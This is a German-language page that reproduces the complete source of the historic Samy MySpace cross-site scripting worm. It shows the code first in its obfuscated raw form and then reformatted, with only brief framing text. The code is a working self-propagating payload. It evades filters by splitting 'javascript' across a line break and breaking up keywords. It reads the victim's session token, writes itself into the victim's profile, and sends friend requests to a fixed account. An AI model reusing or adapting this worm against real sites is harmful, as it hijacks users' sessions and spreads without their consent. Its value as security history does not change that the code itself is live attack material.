Der eigentliche Quelltext enthält nur einen einzigen Zeilenumbruch:
<div id=mycode style="BACKGROUND: url('javaHIER
script:eval(document.all.mycode.expr)')" ...
Alle anderen unten vorkommenden Zeilenumbrüche entstehen durch den Umbruch, den der Webbrowser automatisch bei bestimmten Sonderzeichen und dem Leerzeichen einfügt, wenn die Zeile zu lang wird.
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var
C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return
eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function
getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var
O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function
getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new
String();var O=0;for(var P in AV){if(O>0){N+='&'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return
N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return
true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return
S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function
getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var
W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var
Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new
ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var
AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var
AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but
most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function
postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return
true}"></DIV>
Quelle: MySpace Worm Explanation
Die folgende, formatierte Version des samy-Virus basiert auf einer Mail von Antonio Fontes auf der Mailingliste 'Web Application Security' von securityfocus.com.
// die Quote-Zeichen:
var B = String.fromCharCode(34); // "
var A = String.fromCharCode(39); // '
function g()
{
var C;
try
{
var D = document.body.createTextRange();
C = D.htmlText
}
catch(e)
{
}
if (C)
{
return C
}
else
{
return eval('document.body.inne'+'rHTML')
}
}
function getData(AU)
{
M = getFromURL(AU,'friendID');
L = getFromURL(AU,'Mytoken')
}
function getQueryParams()
{
var E = document.location.search;
var F = E.substring(1,E.length).split('&');
var AS = new Array();
for (var O = 0; O < F.length; O++)
{
var I = F[O].split('=');
AS[I[0]] = I[1]
}
return AS
}
var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];
if (location.hostname == 'profile.myspace.com')
{
document.location = 'http://www.myspace.com'+location.pathname+location.search
}
else
{
if (!M)
{
getData(g())
}
main()
}
function getClientFID()
{
return findIn(g(),'up_launchIC( '+A,A)
}
function nothing()
{
}
function paramsToString(AV)
{
var N = new String();
var O = 0;
for (var P in AV)
{
if (O > 0)
{
N+='&'
}
var Q = escape(AV[P]);
while (Q.indexOf('+') != -1)
{
Q = Q.replace('+','%2B')
}
while (Q.indexOf('&') != -1)
{
Q = Q.replace('&','%26')
}
N+=P+'='+Q;
O++
}
return N
}
function httpSend(BH,BI,BJ,BK)
{
if (!J)
{
return false
}
eval('J.onr'+'eadystatechange=BI');
J.open(BJ,BH,true);
if (BJ == 'POST')
{
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
}
J.send(BK);
return true
}
function findIn(BF,BB,BC)
{
var R = BF.indexOf(BB)+BB.length;
var S = BF.substring(R,R+1024);
return S.substring(0,S.indexOf(BC))
}
function getHiddenParameter(BF,BG)
{
return findIn(BF,'name='+B+BG+B+' value='+B,B)
}
function getFromURL(BF,BG)
{
var T;
if (BG == 'Mytoken')
{
T = B
}
else
{
T = '&'
}
var U = BG+'=';
var V = BF.indexOf(U)+U.length;
var W = BF.substring(V,V+1024);
var X = W.indexOf(T);
var Y = W.substring(0,X);
return Y
}
function getXMLObj()
{
var Z = false;
if (window.XMLHttpRequest)
{
try
{
Z = new XMLHttpRequest()
}
catch(e)
{
Z = false
}
}
else if (window.ActiveXObject)
{
try
{
Z = new ActiveXObject('Msxml2.XMLHTTP')
}
catch(e)
{
try
{
Z = new ActiveXObject('Microsoft.XMLHTTP')
}
catch(e)
{
Z = false
}
}
}
return Z
}
var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB,AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;
if (AE)
{
AE = AE.replace('jav'+'a',A+'jav'+'a');
AE = AE.replace('exp'+'r)','exp'+'r)'+A);
AF = ' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;
function getHome()
{
if (J.readyState != 4)
{
return
}
var AU = J.responseText;
AG = findIn(AU,'P'+'rofileHeroes','</td>');
AG = AG.substring(61,AG.length);
if (AG.indexOf('samy') == -1)
{
if (AF)
{
AG+=AF;
var AR = getFromURL(AU,'Mytoken');
var AS = new Array();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Preview';
AS['interest'] = AG;
J = getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
}
}
}
function postHero()
{
if (J.readyState != 4)
{
return
}
var AU = J.responseText;
var AR = getFromURL(AU,'Mytoken');
var AS = new Array();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Submit';
AS['interest'] = AG;
AS['hash'] = getHiddenParameter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function main()
{
var AN = getClientFID();
var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
J = getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2 = getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}
function processxForm()
{
if (xmlhttp2.readyState != 4)
{
return
}
var AU = xmlhttp2.responseText;
var AQ = getHiddenParameter(AU,'hashcode');
var AR = getFromURL(AU,'Mytoken');
var AS = new Array();
AS['hashcode'] = AQ;
AS['friendID'] = '11851658';
AS['submit'] = 'Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}
function httpSend2(BH,BI,BJ,BK)
{
if (!xmlhttp2)
{
return false
}
eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true);
if (BJ == 'POST')
{
xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)
}
xmlhttp2.send(BK);
return true
}